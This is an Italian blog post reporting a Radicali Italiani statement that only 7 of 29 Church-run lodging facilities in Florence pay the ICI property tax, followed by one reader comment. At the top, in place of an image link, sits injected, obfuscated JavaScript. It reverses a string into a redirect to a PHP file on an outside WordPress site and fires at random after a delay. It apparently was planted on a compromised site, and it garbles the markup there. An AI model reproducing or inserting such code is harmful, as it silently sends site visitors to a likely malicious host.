Casta Chiesa, anche a Firenze: l'elenco di chi paga l'Ici e chi no (solo 7 su 29)

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2011/12/Casta-Chiesa.png”>Pubblichiamo la comunicazione di Mario Staderini, segretario dei Radicali Italiani e di Tommaso Grassi consigliere comunale di Sinistra e cittadinanza, sulle esenzioni Ici all’interno del territorio fiorentino. L’immagine è tratta dall’Atlante civile “Autopsia della politica italiana” e rappresenta tutti i vantaggi per la Chiesa derivanti dai rapporti con lo stato italiano. Buona lettura e buona visione. (R.C.)

ICI ALLA CHIESA: LE VIE DELL’ESENZIONE SONO INFINITE.
Nel Comune di Firenze su 29 strutture ricettive solo 7 pagano l’ICI

ELENCO_STRUTTURE_RICETTIVE_DI_ISTITUTI_RELIGIOSI – COMUNE DI FIRENZE

“I dati che emergono dal Comune di Firenze sono espliciti: su 29 strutture ricettive sul territorio fiorentino prese in esame, solo 7 pagano l’ICI al Comune, nonostante, e abbiamo provato direttamente a chiedere di poter alloggiare una notte, esse non sono riservate solo a membri del Clero o al turismo religioso ma svolgono a tutti gli effetti un servizio alberghiero – annunciano Mario Staderini, Segretario Radicali Italiani e il Consigliere comunale Tommaso Grassi insieme a Maurizio Buzzegoli dei Radicali di Firenze e a Mauro Romanelli, Consigliere regionale della Toscana. I prezzi oscillano tra i 70 e i 120 euro a notte per una matrimoniale: dei veri e propri prezzi da albergo. E’ proprio il caso di dire che per la Chiesa le vie dell’esenzione sono infinite.”

“L’accoglimento da parte del Governo Monti dell’ordine del giorno presentato dall’On. Turco (Radicali) che impegna l’esecutivo ‘ad adottare le opportune iniziative normative volte ad abrogare ogni norma che preveda esenzioni o riduzioni fiscali e tributarie a favore di qualsiasi soggetto svolgente un’attività commerciale’ rappresenta una positiva inversione di marcia. Attendiamo di vedere come verrà tradotto l’indirizzo politico in Legge e siamo sicuri porterà beneficio per le casse comunali, rimuovendo un ingiusto privilegio e una sperequazione rispetto ai normali cittadini.”

“Nell’immediato a livello comunale abbiamo presentato una mozione che chiede al Sindaco di proporre, all’interno dell’ANCI, ogni atto al fine di eliminare tale ingiustificata disparità di trattamento, a salvaguardia degli interessi della finanza pubblica, nonché al fine di evitare un’infrazione comunitaria da parte dell’Italia ed inoltre chiede di avviare un’indagine di controllo sul territorio comunale sulle esenzioni e sulle mancate dichiarazioni dovute all’introduzione dell’esenzione ICI per le attività degli enti religiosi e non profit di natura commerciale. Per adesso non è stato possibile votarla per i veti della maggioranza, ci auguriamo che l’apertura nazionale possa avere effetti positivi anche su Firenze.”

“Con la sentenza della Corte Suprema di Cassazione sezione tributaria n.23314 del 09 novembre scorso sarà più semplice per i Comuni approfondire gli aspetti legati agli immobili religiosi che usufruiscono dell’esenzione dall’Ici quando in tali edifici vengono svolte attività commerciali, tipo l’ospitalità a pagamento realizzata con le modalità del trattamento alberghiero: sarà infatti impossibile che l’esenzione dall’ICI possa avvenire “senza verificare, alla stregua della realtà fattuale, la concreta sussistenza delle condizioni legittimanti l’esenzione da imposizione dell’attività svolta” – concludono gli esponenti politici – A Firenze siamo al paradosso in cui alcune strutture non pagano l’ICI ma dallo scorso luglio le stesse obbligano i turisti al pagamento della tassa di soggiorno: si rispetta la Legge solo quando a pagare è qualcun altro ?”

0 Comments

  1. fiorenza

    non aveva detto iol cardinal Bagnasco che se ne dovesse parlare perchè anche lui riteneva giusta la richiesta di pagare la tassa dove le attività sono di ordine commerciale?Risulta però che il giorno dopo ha smentito le sue parole,peggio di Berlusconi,il che per un ecclesiastico è assai più grave.

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